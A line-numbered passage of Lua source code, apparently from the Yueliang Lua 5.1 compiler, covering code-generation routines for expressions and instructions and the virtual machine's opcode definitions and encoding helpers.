  832. e.f = self.NO_JUMP
  833. end
  834.  
  835. ------------------------------------------------------------------------
  836. --
  837. -- * used only in mLuaK:prefix()
  838. ------------------------------------------------------------------------
  839. function mLuaK:codenot(fs, e)
  840. self:dischargevars(fs, e)
  841. local k = e.k
  842. if k == "VNIL" or k == "VFALSE" then
  843. e.k = "VTRUE"
  844. elseif k == "VK" or k == "VKNUM" or k == "VTRUE" then
  845. e.k = "VFALSE"
  846. elseif k == "VJMP" then
  847. self:invertjump(fs, e)
  848. elseif k == "VRELOCABLE" or k == "VNONRELOC" then
  849. self:discharge2anyreg(fs, e)
  850. self:freeexp(fs, e)
  851. e.info = self:codeABC(fs, "OP_NOT", 0, e.info, 0)
  852. e.k = "VRELOCABLE"
  853. else
  854. assert(0) -- cannot happen
  855. end
  856. -- interchange true and false lists
  857. e.f, e.t = e.t, e.f
  858. self:removevalues(fs, e.f)
  859. self:removevalues(fs, e.t)
  860. end
  861.  
  862. ------------------------------------------------------------------------
  863. --
  864. -- * used in (lparser) luaY:field(), luaY:primaryexp()
  865. ------------------------------------------------------------------------
  866. function mLuaK:indexed(fs, t, k)
  867. t.aux = self:exp2RK(fs, k)
  868. t.k = "VINDEXED"
  869. end
  870.  
  871. ------------------------------------------------------------------------
  872. --
  873. -- * used only in mLuaK:codearith()
  874. ------------------------------------------------------------------------
  875. function mLuaK:constfolding(op, e1, e2)
  876. local r
  877. if not self:isnumeral(e1) or not self:isnumeral(e2) then return false end
  878. local v1 = e1.nval
  879. local v2 = e2.nval
  880. if op == "OP_ADD" then
  881. r = self:numadd(v1, v2)
  882. elseif op == "OP_SUB" then
  883. r = self:numsub(v1, v2)
  884. elseif op == "OP_MUL" then
  885. r = self:nummul(v1, v2)
  886. elseif op == "OP_DIV" then
  887. if v2 == 0 then return false end -- do not attempt to divide by 0
  888. r = self:numdiv(v1, v2)
  889. elseif op == "OP_MOD" then
  890. if v2 == 0 then return false end -- do not attempt to divide by 0
  891. r = self:nummod(v1, v2)
  892. elseif op == "OP_POW" then
  893. r = self:numpow(v1, v2)
  894. elseif op == "OP_UNM" then
  895. r = self:numunm(v1)
  896. elseif op == "OP_LEN" then
  897. return false -- no constant folding for 'len'
  898. else
  899. assert(0)
  900. r = 0
  901. end
  902. if self:numisnan(r) then return false end -- do not attempt to produce NaN
  903. e1.nval = r
  904. return true
  905. end
  906.  
  907. ------------------------------------------------------------------------
  908. --
  909. -- * used in mLuaK:prefix(), mLuaK:posfix()
  910. ------------------------------------------------------------------------
  911. function mLuaK:codearith(fs, op, e1, e2)
  912. if self:constfolding(op, e1, e2) then
  913. return
  914. else
  915. local o2 = (op ~= "OP_UNM" and op ~= "OP_LEN") and self:exp2RK(fs, e2) or 0
  916. local o1 = self:exp2RK(fs, e1)
  917. if o1 > o2 then
  918. self:freeexp(fs, e1)
  919. self:freeexp(fs, e2)
  920. else
  921. self:freeexp(fs, e2)
  922. self:freeexp(fs, e1)
  923. end
  924. e1.info = self:codeABC(fs, op, 0, o1, o2)
  925. e1.k = "VRELOCABLE"
  926. end
  927. end
  928.  
  929. ------------------------------------------------------------------------
  930. --
  931. -- * used only in mLuaK:posfix()
  932. ------------------------------------------------------------------------
  933. function mLuaK:codecomp(fs, op, cond, e1, e2)
  934. local o1 = self:exp2RK(fs, e1)
  935. local o2 = self:exp2RK(fs, e2)
  936. self:freeexp(fs, e2)
  937. self:freeexp(fs, e1)
  938. if cond == 0 and op ~= "OP_EQ" then
  939. -- exchange args to replace by `<' or `<='
  940. o1, o2 = o2, o1 -- o1 <==> o2
  941. cond = 1
  942. end
  943. e1.info = self:condjump(fs, op, cond, o1, o2)
  944. e1.k = "VJMP"
  945. end
  946.  
  947. ------------------------------------------------------------------------
  948. --
  949. -- * used only in (lparser) luaY:subexpr()
  950. ------------------------------------------------------------------------
  951. function mLuaK:prefix(fs, op, e)
  952. local e2 = {} -- expdesc
  953. e2.t, e2.f = self.NO_JUMP, self.NO_JUMP
  954. e2.k = "VKNUM"
  955. e2.nval = 0
  956. if op == "OPR_MINUS" then
  957. if not self:isnumeral(e) then
  958. self:exp2anyreg(fs, e) -- cannot operate on non-numeric constants
  959. end
  960. self:codearith(fs, "OP_UNM", e, e2)
  961. elseif op == "OPR_NOT" then
  962. self:codenot(fs, e)
  963. elseif op == "OPR_LEN" then
  964. self:exp2anyreg(fs, e) -- cannot operate on constants
  965. self:codearith(fs, "OP_LEN", e, e2)
  966. else
  967. assert(0)
  968. end
  969. end
  970.  
  971. ------------------------------------------------------------------------
  972. --
  973. -- * used only in (lparser) luaY:subexpr()
  974. ------------------------------------------------------------------------
  975. function mLuaK:infix(fs, op, v)
  976. if op == "OPR_AND" then
  977. self:goiftrue(fs, v)
  978. elseif op == "OPR_OR" then
  979. self:goiffalse(fs, v)
  980. elseif op == "OPR_CONCAT" then
  981. self:exp2nextreg(fs, v) -- operand must be on the 'stack'
  982. elseif op == "OPR_ADD" or op == "OPR_SUB" or
  983. op == "OPR_MUL" or op == "OPR_DIV" or
  984. op == "OPR_MOD" or op == "OPR_POW" then
  985. if not self:isnumeral(v) then self:exp2RK(fs, v) end
  986. else
  987. self:exp2RK(fs, v)
  988. end
  989. end
  990.  
  991. ------------------------------------------------------------------------
  992. --
  993. -- * used only in (lparser) luaY:subexpr()
  994. ------------------------------------------------------------------------
  995. -- table lookups to simplify testing
  996. mLuaK.arith_op = {
  997. OPR_ADD = "OP_ADD", OPR_SUB = "OP_SUB", OPR_MUL = "OP_MUL",
  998. OPR_DIV = "OP_DIV", OPR_MOD = "OP_MOD", OPR_POW = "OP_POW",
  999. }
  1000. mLuaK.comp_op = {
  1001. OPR_EQ = "OP_EQ", OPR_NE = "OP_EQ", OPR_LT = "OP_LT",
  1002. OPR_LE = "OP_LE", OPR_GT = "OP_LT", OPR_GE = "OP_LE",
  1003. }
  1004. mLuaK.comp_cond = {
  1005. OPR_EQ = 1, OPR_NE = 0, OPR_LT = 1,
  1006. OPR_LE = 1, OPR_GT = 0, OPR_GE = 0,
  1007. }
  1008. function mLuaK:posfix(fs, op, e1, e2)
  1009. -- needed because e1 = e2 doesn't copy values...
  1010. -- * in 5.0.x, only k/info/aux/t/f copied, t for AND, f for OR
  1011. -- but here, all elements are copied for completeness' sake
  1012. local function copyexp(e1, e2)
  1013. e1.k = e2.k
  1014. e1.info = e2.info; e1.aux = e2.aux
  1015. e1.nval = e2.nval
  1016. e1.t = e2.t; e1.f = e2.f
  1017. end
  1018. if op == "OPR_AND" then
  1019. assert(e1.t == self.NO_JUMP) -- list must be closed
  1020. self:dischargevars(fs, e2)
  1021. e2.f = self:concat(fs, e2.f, e1.f)
  1022. copyexp(e1, e2)
  1023. elseif op == "OPR_OR" then
  1024. assert(e1.f == self.NO_JUMP) -- list must be closed
  1025. self:dischargevars(fs, e2)
  1026. e2.t = self:concat(fs, e2.t, e1.t)
  1027. copyexp(e1, e2)
  1028. elseif op == "OPR_CONCAT" then
  1029. self:exp2val(fs, e2)
  1030. if e2.k == "VRELOCABLE" and luaP:GET_OPCODE(self:getcode(fs, e2)) == "OP_CONCAT" then
  1031. assert(e1.info == luaP:GETARG_B(self:getcode(fs, e2)) - 1)
  1032. self:freeexp(fs, e1)
  1033. luaP:SETARG_B(self:getcode(fs, e2), e1.info)
  1034. e1.k = "VRELOCABLE"
  1035. e1.info = e2.info
  1036. else
  1037. self:exp2nextreg(fs, e2) -- operand must be on the 'stack'
  1038. self:codearith(fs, "OP_CONCAT", e1, e2)
  1039. end
  1040. else
  1041. -- the following uses a table lookup in place of conditionals
  1042. local arith = self.arith_op[op]
  1043. if arith then
  1044. self:codearith(fs, arith, e1, e2)
  1045. else
  1046. local comp = self.comp_op[op]
  1047. if comp then
  1048. self:codecomp(fs, comp, self.comp_cond[op], e1, e2)
  1049. else
  1050. assert(0)
  1051. end
  1052. end--if arith
  1053. end--if op
  1054. end
  1055.  
  1056. ------------------------------------------------------------------------
  1057. -- adjusts debug information for last instruction written, in order to
  1058. -- change the line where item comes into existence
  1059. -- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat()
  1060. ------------------------------------------------------------------------
  1061. function mLuaK:fixline(fs, line)
  1062. fs.f.lineinfo[fs.pc - 1] = line
  1063. end
  1064.  
  1065. ------------------------------------------------------------------------
  1066. -- general function to write an instruction into the instruction buffer,
  1067. -- sets debug information too
  1068. -- * used in mLuaK:codeABC(), mLuaK:codeABx()
  1069. -- * called directly by (lparser) luaY:whilestat()
  1070. ------------------------------------------------------------------------
  1071. function mLuaK:code(fs, i, line)
  1072. local f = fs.f
  1073. self:dischargejpc(fs) -- 'pc' will change
  1074. -- put new instruction in code array
  1075. luaY:growvector(fs.L, f.code, fs.pc, f.sizecode, nil,
  1076. luaY.MAX_INT, "code size overflow")
  1077. f.code[fs.pc] = i
  1078. -- save corresponding line information
  1079. luaY:growvector(fs.L, f.lineinfo, fs.pc, f.sizelineinfo, nil,
  1080. luaY.MAX_INT, "code size overflow")
  1081. f.lineinfo[fs.pc] = line
  1082. local pc = fs.pc
  1083. fs.pc = fs.pc + 1
  1084. return pc
  1085. end
  1086.  
  1087. ------------------------------------------------------------------------
  1088. -- writes an instruction of type ABC
  1089. -- * calls mLuaK:code()
  1090. ------------------------------------------------------------------------
  1091. function mLuaK:codeABC(fs, o, a, b, c)
  1092. assert(luaP:getOpMode(o) == luaP.OpMode.iABC)
  1093. assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0)
  1094. assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0)
  1095. return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline)
  1096. end
  1097.  
  1098. ------------------------------------------------------------------------
  1099. -- writes an instruction of type ABx
  1100. -- * calls mLuaK:code(), called by mLuaK:codeAsBx()
  1101. ------------------------------------------------------------------------
  1102. function mLuaK:codeABx(fs, o, a, bc)
  1103. assert(luaP:getOpMode(o) == luaP.OpMode.iABx or
  1104. luaP:getOpMode(o) == luaP.OpMode.iAsBx)
  1105. assert(luaP:getCMode(o) == luaP.OpArgMask.OpArgN)
  1106. return self:code(fs, luaP:CREATE_ABx(o, a, bc), fs.ls.lastline)
  1107. end
  1108.  
  1109. ------------------------------------------------------------------------
  1110. --
  1111. -- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield()
  1112. ------------------------------------------------------------------------
  1113. function mLuaK:setlist(fs, base, nelems, tostore)
  1114. local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1
  1115. local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore
  1116. assert(tostore ~= 0)
  1117. if c <= luaP.MAXARG_C then
  1118. self:codeABC(fs, "OP_SETLIST", base, b, c)
  1119. else
  1120. self:codeABC(fs, "OP_SETLIST", base, b, 0)
  1121. self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline)
  1122. end
  1123. fs.freereg = base + 1 -- free registers with list values
  1124. end
  1125.  
  1126. function GetLuaK(a) --[[luaY = a]] return mLuaK end
  1127.  
  1128. --[[--------------------------------------------------------------------
  1129.  
  1130. lopcodes.lua
  1131. Lua 5 virtual machine opcodes in Lua
  1132. This file is part of Yueliang.
  1133.  
  1134. Copyright (c) 2006 Kein-Hong Man <khman@users.sf.net>
  1135. The COPYRIGHT file describes the conditions
  1136. under which this software may be distributed.
  1137.  
  1138. See the ChangeLog for more information.
  1139.  
  1140. ----------------------------------------------------------------------]]
  1141.  
  1142. --[[--------------------------------------------------------------------
  1143. -- Notes:
  1144. -- * an Instruction is a table with OP, A, B, C, Bx elements; this
  1145. -- makes the code easy to follow and should allow instruction handling
  1146. -- to work with doubles and ints
  1147. -- * WARNING luaP:Instruction outputs instructions encoded in little-
  1148. -- endian form and field size and positions are hard-coded
  1149. --
  1150. -- Not implemented:
  1151. -- *
  1152. --
  1153. -- Added:
  1154. -- * luaP:CREATE_Inst(c): create an inst from a number (for OP_SETLIST)
  1155. -- * luaP:Instruction(i): convert field elements to a 4-char string
  1156. -- * luaP:DecodeInst(x): convert 4-char string into field elements
  1157. --
  1158. -- Changed in 5.1.x:
  1159. -- * POS_OP added, instruction field positions changed
  1160. -- * some symbol names may have changed, e.g. LUAI_BITSINT
  1161. -- * new operators for RK indices: BITRK, ISK(x), INDEXK(r), RKASK(x)
  1162. -- * OP_MOD, OP_LEN is new
  1163. -- * OP_TEST is now OP_TESTSET, OP_TEST is new
  1164. -- * OP_FORLOOP, OP_TFORLOOP adjusted, OP_FORPREP is new
  1165. -- * OP_TFORPREP deleted
  1166. -- * OP_SETLIST and OP_SETLISTO merged and extended
  1167. -- * OP_VARARG is new
  1168. -- * many changes to implementation of OpMode data
  1169. ----------------------------------------------------------------------]]
  1170.  
  1171. luaP = {}
  1172.  
  1173. --[[
  1174. ===========================================================================
  1175. We assume that instructions are unsigned numbers.
  1176. All instructions have an opcode in the first 6 bits.
  1177. Instructions can have the following fields:
  1178. 'A' : 8 bits
  1179. 'B' : 9 bits
  1180. 'C' : 9 bits
  1181. 'Bx' : 18 bits ('B' and 'C' together)
  1182. 'sBx' : signed Bx
  1183.  
  1184. A signed argument is represented in excess K; that is, the number
  1185. value is the unsigned value minus K. K is exactly the maximum value
  1186. for that argument (so that -max is represented by 0, and +max is
  1187. represented by 2*max), which is half the maximum for the corresponding
  1188. unsigned argument.
  1189. ===========================================================================
  1190. --]]
  1191.  
  1192. luaP.OpMode = { iABC = 0, iABx = 1, iAsBx = 2 } -- basic instruction format
  1193.  
  1194. ------------------------------------------------------------------------
  1195. -- size and position of opcode arguments.
  1196. -- * WARNING size and position is hard-coded elsewhere in this script
  1197. ------------------------------------------------------------------------
  1198. luaP.SIZE_C = 9
  1199. luaP.SIZE_B = 9
  1200. luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B
  1201. luaP.SIZE_A = 8
  1202.  
  1203. luaP.SIZE_OP = 6
  1204.  
  1205. luaP.POS_OP = 0
  1206. luaP.POS_A = luaP.POS_OP + luaP.SIZE_OP
  1207. luaP.POS_C = luaP.POS_A + luaP.SIZE_A
  1208. luaP.POS_B = luaP.POS_C + luaP.SIZE_C
  1209. luaP.POS_Bx = luaP.POS_C
  1210.  
  1211. ------------------------------------------------------------------------
  1212. -- limits for opcode arguments.
  1213. -- we use (signed) int to manipulate most arguments,
  1214. -- so they must fit in LUAI_BITSINT-1 bits (-1 for sign)
  1215. ------------------------------------------------------------------------
  1216. -- removed "#if SIZE_Bx < BITS_INT-1" test, assume this script is
  1217. -- running on a Lua VM with double or int as LUA_NUMBER
  1218.  
  1219. luaP.MAXARG_Bx = math.ldexp(1, luaP.SIZE_Bx) - 1
  1220. luaP.MAXARG_sBx = math.floor(luaP.MAXARG_Bx / 2) -- 'sBx' is signed
  1221.  
  1222. luaP.MAXARG_A = math.ldexp(1, luaP.SIZE_A) - 1
  1223. luaP.MAXARG_B = math.ldexp(1, luaP.SIZE_B) - 1
  1224. luaP.MAXARG_C = math.ldexp(1, luaP.SIZE_C) - 1
  1225.  
  1226. -- creates a mask with 'n' 1 bits at position 'p'
  1227. -- MASK1(n,p) deleted, not required
  1228. -- creates a mask with 'n' 0 bits at position 'p'
  1229. -- MASK0(n,p) deleted, not required
  1230.  
  1231. --[[--------------------------------------------------------------------
  1232. Visual representation for reference:
  1233.  
  1234. 31 | | | 0 bit position
  1235. +-----+-----+-----+----------+
  1236. | B | C | A | Opcode | iABC format
  1237. +-----+-----+-----+----------+
  1238. - 9 - 9 - 8 - 6 - field sizes
  1239. +-----+-----+-----+----------+
  1240. | [s]Bx | A | Opcode | iABx | iAsBx format
  1241. +-----+-----+-----+----------+
  1242.  
  1243. ----------------------------------------------------------------------]]
  1244.  
  1245. ------------------------------------------------------------------------
  1246. -- the following macros help to manipulate instructions
  1247. -- * changed to a table object representation, very clean compared to
  1248. -- the [nightmare] alternatives of using a number or a string
  1249. -- * Bx is a separate element from B and C, since there is never a need
  1250. -- to split Bx in the parser or code generator
  1251. ------------------------------------------------------------------------
  1252.  
  1253. -- these accept or return opcodes in the form of string names
  1254. function luaP:GET_OPCODE(i) return self.ROpCode[i.OP] end
  1255. function luaP:SET_OPCODE(i, o) i.OP = self.OpCode[o] end
  1256.  
  1257. function luaP:GETARG_A(i) return i.A end
  1258. function luaP:SETARG_A(i, u) i.A = u end
  1259.  
  1260. function luaP:GETARG_B(i) return i.B end
  1261. function luaP:SETARG_B(i, b) i.B = b end
  1262.  
  1263. function luaP:GETARG_C(i) return i.C end
  1264. function luaP:SETARG_C(i, b) i.C = b end
  1265.  
  1266. function luaP:GETARG_Bx(i) return i.Bx end
  1267. function luaP:SETARG_Bx(i, b) i.Bx = b end
  1268.  
  1269. function luaP:GETARG_sBx(i) return i.Bx - self.MAXARG_sBx end
  1270. function luaP:SETARG_sBx(i, b) i.Bx = b + self.MAXARG_sBx end
  1271.  
  1272. function luaP:CREATE_ABC(o,a,b,c)
  1273. return {OP = self.OpCode[o], A = a, B = b, C = c}
  1274. end
  1275.  
  1276. function luaP:CREATE_ABx(o,a,bc)
  1277. return {OP = self.OpCode[o], A = a, Bx = bc}
  1278. end
  1279.  
  1280. ------------------------------------------------------------------------
  1281. -- create an instruction from a number (for OP_SETLIST)
  1282. ------------------------------------------------------------------------
  1283. function luaP:CREATE_Inst(c)
  1284. local o = c % 64
  1285. c = (c - o) / 64
  1286. local a = c % 256
  1287. c = (c - a) / 256
  1288. return self:CREATE_ABx(o, a, c)
  1289. end
  1290.  
  1291. ------------------------------------------------------------------------
  1292. -- returns a 4-char string little-endian encoded form of an instruction
  1293. ------------------------------------------------------------------------
  1294. function luaP:Instruction(i)
  1295. if i.Bx then
  1296. -- change to OP/A/B/C format
  1297. i.C = i.Bx % 512
  1298. i.B = (i.Bx - i.C) / 512
  1299. end
  1300. local I = i.A * 64 + i.OP
  1301. local c0 = I % 256
  1302. I = i.C * 64 + (I - c0) / 256 -- 6 bits of A left
  1303. local c1 = I % 256
  1304. I = i.B * 128 + (I - c1) / 256 -- 7 bits of C left
  1305. local c2 = I % 256
  1306. local c3 = (I - c2) / 256
  1307. return string.char(c0, c1, c2, c3)
  1308. end
  1309.  
  1310. ------------------------------------------------------------------------
  1311. -- decodes a 4-char little-endian string into an instruction struct
  1312. ------------------------------------------------------------------------
  1313. function luaP:DecodeInst(x)
  1314. local byte = string.byte
  1315. local i = {}
  1316. local I = byte(x, 1)
  1317. local op = I % 64
  1318. i.OP = op
  1319. I = byte(x, 2) * 4 + (I - op) / 64 -- 2 bits of c0 left
  1320. local a = I % 256
  1321. i.A = a
  1322. I = byte(x, 3) * 4 + (I - a) / 256 -- 2 bits of c1 left
  1323. local c = I % 512
  1324. i.C = c
  1325. i.B = byte(x, 4) * 2 + (I - c) / 512 -- 1 bits of c2 left
  1326. local opmode = self.OpMode[tonumber(string.sub(self.opmodes[op + 1], 7, 7))]
  1327. if opmode ~= "iABC" then
  1328. i.Bx = i.B * 512 + i.C
  1329. end
  1330. return i
  1331. end
  1332.  
  1333. ------------------------------------------------------------------------
  1334. -- Macros to operate RK indices
  1335. -- * these use arithmetic instead of bit ops
  1336. ------------------------------------------------------------------------
  1337.  
  1338. -- this bit 1 means constant (0 means register)
  1339. luaP.BITRK = math.ldexp(1, luaP.SIZE_B - 1)
  1340.  
  1341. -- test whether value is a constant
  1342. function luaP:ISK(x) return x >= self.BITRK end
  1343.  
  1344. -- gets the index of the constant
  1345. function luaP:INDEXK(x) return x - self.BITRK end
  1346.  
  1347. luaP.MAXINDEXRK = luaP.BITRK - 1
  1348.  
  1349. -- code a constant index as a RK value
  1350. function luaP:RKASK(x) return x + self.BITRK end
  1351.  
  1352. ------------------------------------------------------------------------
  1353. -- invalid register that fits in 8 bits
  1354. ------------------------------------------------------------------------
  1355. luaP.NO_REG = luaP.MAXARG_A
  1356.  
  1357. ------------------------------------------------------------------------
  1358. -- R(x) - register
  1359. -- Kst(x) - constant (in constant table)
  1360. -- RK(x) == if ISK(x) then Kst(INDEXK(x)) else R(x)
  1361. ------------------------------------------------------------------------
  1362.  
  1363. ------------------------------------------------------------------------
  1364. -- grep "ORDER OP" if you change these enums
  1365. ------------------------------------------------------------------------
  1366.  
  1367. --[[--------------------------------------------------------------------
  1368. Lua virtual machine opcodes (enum OpCode):
  1369. ------------------------------------------------------------------------
  1370. name args description
  1371. ------------------------------------------------------------------------
  1372. OP_MOVE A B R(A) := R(B)
  1373. OP_LOADK A Bx R(A) := Kst(Bx)
  1374. OP_LOADBOOL A B C R(A) := (Bool)B; if (C) pc++
  1375. OP_LOADNIL A B R(A) := ... := R(B) := nil
  1376. OP_GETUPVAL A B R(A) := UpValue[B]
  1377. OP_GETGLOBAL A Bx R(A) := Gbl[Kst(Bx)]
  1378. OP_GETTABLE A B C R(A) := R(B)[RK(C)]
  1379. OP_SETGLOBAL A Bx Gbl[Kst(Bx)] := R(A)
  1380. OP_SETUPVAL A B UpValue[B] := R(A)
  1381. OP_SETTABLE A B C R(A)[RK(B)] := RK(C)
  1382. OP_NEWTABLE A B C R(A) := {} (size = B,C)
  1383. OP_SELF A B C R(A+1) := R(B); R(A) := R(B)[RK(C)]
  1384. OP_ADD A B C R(A) := RK(B) + RK(C)
  1385. OP_SUB A B C R(A) := RK(B) - RK(C)
  1386. OP_MUL A B C R(A) := RK(B) * RK(C)
  1387. OP_DIV A B C R(A) := RK(B) / RK(C)
  1388. OP_MOD A B C R(A) := RK(B) % RK(C)
  1389. OP_POW A B C R(A) := RK(B) ^ RK(C)
  1390. OP_UNM A B R(A) := -R(B)
  1391. OP_NOT A B R(A) := not R(B)
  1392. OP_LEN A B R(A) := length of R(B)
  1393. OP_CONCAT A B C R(A) := R(B).. ... ..R(C)
  1394. OP_JMP sBx pc+=sBx
  1395. OP_EQ A B C if ((RK(B) == RK(C)) ~= A) then pc++
  1396. OP_LT A B C if ((RK(B) < RK(C)) ~= A) then pc++
  1397. OP_LE A B C if ((RK(B) <= RK(C)) ~= A) then pc++
  1398. OP_TEST A C if not (R(A) <=> C) then pc++
  1399. OP_TESTSET A B C if (R(B) <=> C) then R(A) := R(B) else pc++
  1400. OP_CALL A B C R(A), ... ,R(A+C-2) := R(A)(R(A+1), ... ,R(A+B-1))
  1401. OP_TAILCALL A B C return R(A)(R(A+1), ... ,R(A+B-1))
  1402. OP_RETURN A B return R(A), ... ,R(A+B-2) (see note)
  1403. OP_FORLOOP A sBx R(A)+=R(A+2);
  1404. if R(A) <?= R(A+1) then { pc+=sBx; R(A+3)=R(A) }
  1405. OP_FORPREP A sBx R(A)-=R(A+2); pc+=sBx
  1406. OP_TFORLOOP A C R(A+3), ... ,R(A+2+C) := R(A)(R(A+1), R(A+2));
  1407. if R(A+3) ~= nil then R(A+2)=R(A+3) else pc++
  1408. OP_SETLIST A B C R(A)[(C-1)*FPF+i] := R(A+i), 1 <= i <= B
  1409. OP_CLOSE A close all variables in the stack up to (>=) R(A)
  1410. OP_CLOSURE A Bx R(A) := closure(KPROTO[Bx], R(A), ... ,R(A+n))
  1411. OP_VARARG A B R(A), R(A+1), ..., R(A+B-1) = vararg
  1412. ----------------------------------------------------------------------]]
  1413.  
  1414. luaP.opnames = {} -- opcode names
  1415. luaP.OpCode = {} -- lookup name -> number
  1416. luaP.ROpCode = {} -- lookup number -> name
  1417.  
  1418. ------------------------------------------------------------------------
  1419. -- ORDER OP
  1420. ------------------------------------------------------------------------
  1421. local i = 0
  1422. for v in string.gmatch([[
  1423. MOVE LOADK LOADBOOL LOADNIL GETUPVAL
  1424. GETGLOBAL GETTABLE SETGLOBAL SETUPVAL SETTABLE
  1425. NEWTABLE SELF ADD SUB MUL
  1426. DIV MOD POW UNM NOT
  1427. LEN CONCAT JMP EQ LT
  1428. LE TEST TESTSET CALL TAILCALL
  1429. RETURN FORLOOP FORPREP TFORLOOP SETLIST
  1430. CLOSE CLOSURE VARARG
  1431. ]], "%S+") do
  1432. local n = "OP_"..v
  1433. luaP.opnames[i] = v
  1434. luaP.OpCode[n] = i
  1435. luaP.ROpCode[i] = n
  1436. i = i + 1
  1437. end
  1438. luaP.NUM_OPCODES = i
  1439.  
  1440. --[[
  1441. ===========================================================================
  1442. Notes:
  1443. (*) In OP_CALL, if (B == 0) then B = top. C is the number of returns - 1,
  1444. and can be 0: OP_CALL then sets 'top' to last_result+1, so
  1445. next open instruction (OP_CALL, OP_RETURN, OP_SETLIST) may use 'top'.
  1446. (*) In OP_VARARG, if (B == 0) then use actual number of varargs and
  1447. set top (like in OP_CALL with C == 0).
  1448. (*) In OP_RETURN, if (B == 0) then return up to 'top'
  1449. (*) In OP_SETLIST, if (B == 0) then B = 'top';
  1450. if (C == 0) then next 'instruction' is real C
  1451. (*) For comparisons, A specifies what condition the test should accept
  1452. (true or false).
  1453. (*) All 'skips' (pc++) assume that next instruction is a jump
  1454. ===========================================================================
  1455. --]]
  1456.  
  1457. --[[--------------------------------------------------------------------
  1458. masks for instruction properties. The format is:
  1459. bits 0-1: op mode
  1460. bits 2-3: C arg mode
  1461. bits 4-5: B arg mode
  1462. bit 6: instruction set register A
  1463. bit 7: operator is a test
  1464.  
  1465. for OpArgMask:
  1466. OpArgN - argument is not used
  1467. OpArgU - argument is used
  1468. OpArgR - argument is a register or a jump offset
  1469. OpArgK - argument is a constant or register/constant
  1470. ----------------------------------------------------------------------]]
  1471.  
  1472. -- was enum OpArgMask
  1473. luaP.OpArgMask = { OpArgN = 0, OpArgU = 1, OpArgR = 2, OpArgK = 3 }
  1474.  
  1475. ------------------------------------------------------------------------
  1476. -- e.g. to compare with symbols, luaP:getOpMode(...) == luaP.OpCode.iABC
  1477. -- * accepts opcode parameter as strings, e.g. "OP_MOVE"
  1478. ------------------------------------------------------------------------
  1479.  
  1480. function luaP:getOpMode(m)
  1481. return self.opmodes[self.OpCode[m]] % 4
  1482. end
  1483.  
  1484. function luaP:getBMode(m)
  1485. return math.floor(self.opmodes[self.OpCode[m]] / 16) % 4
  1486. end
  1487.  
  1488. function luaP:getCMode(m)
  1489. return math.floor(self.opmodes[self.OpCode[m]] / 4) % 4
  1490. end
  1491.  
  1492. function luaP:testAMode(m)
  1493. return math.floor(self.opmodes[self.OpCode[m]] / 64) % 2
  1494. end
  1495.  
  1496. function luaP:testTMode(m)
  1497. return math.floor(self.opmodes[self.OpCode[m]] / 128)
  1498. end
  1499.  
  1500. -- luaP_opnames[] is set above, as the luaP.opnames table
  1501.  
  1502. -- number of list items to accumulate before a SETLIST instruction
  1503. luaP.LFIELDS_PER_FLUSH = 50
  1504.  
  1505. ------------------------------------------------------------------------
  1506. -- build instruction properties array
  1507. -- * deliberately coded to look like the C equivalent
  1508. ------------------------------------------------------------------------
  1509. local function opmode(t, a, b, c, m)
  1510. local luaP = luaP
  1511. return t * 128 + a * 64 +
  1512. luaP.OpArgMask[b] * 16 + luaP.OpArgMask[c] * 4 + luaP.OpMode[m]
  1513. end
  1514.  
  1515. -- ORDER OP
  1516. luaP.opmodes = {
  1517. -- T A B C mode opcode
  1518. opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_LOADK
  1519. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_LOADBOOL
  1520. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LOADNIL
  1521. opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_GETUPVAL
  1522. opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_GETGLOBAL
  1523. opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_GETTABLE
  1524. opmode(0, 0, "OpArgK", "OpArgN", "iABx"), -- OP_SETGLOBAL
  1525. opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_SETUPVAL
  1526. opmode(0, 0, "OpArgK", "OpArgK", "iABC"), -- OP_SETTABLE
  1527. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_NEWTABLE
  1528. opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_SELF
  1529. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_ADD
  1530. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_SUB
  1531. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MUL
  1532. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_DIV
  1533. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MOD
  1534. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_POW
  1535. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_UNM
  1536. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_NOT
  1537. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LEN
  1538. opmode(0, 1, "OpArgR", "OpArgR", "iABC"), -- OP_CONCAT
  1539. opmode(0, 0, "OpArgR", "OpArgN", "iAsBx"), -- OP_JMP
  1540. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_EQ
  1541. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LT
  1542. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LE
  1543. opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TEST
  1544. opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TESTSET
  1545. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_CALL
  1546. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_TAILCALL
  1547. opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_RETURN
  1548. opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORLOOP
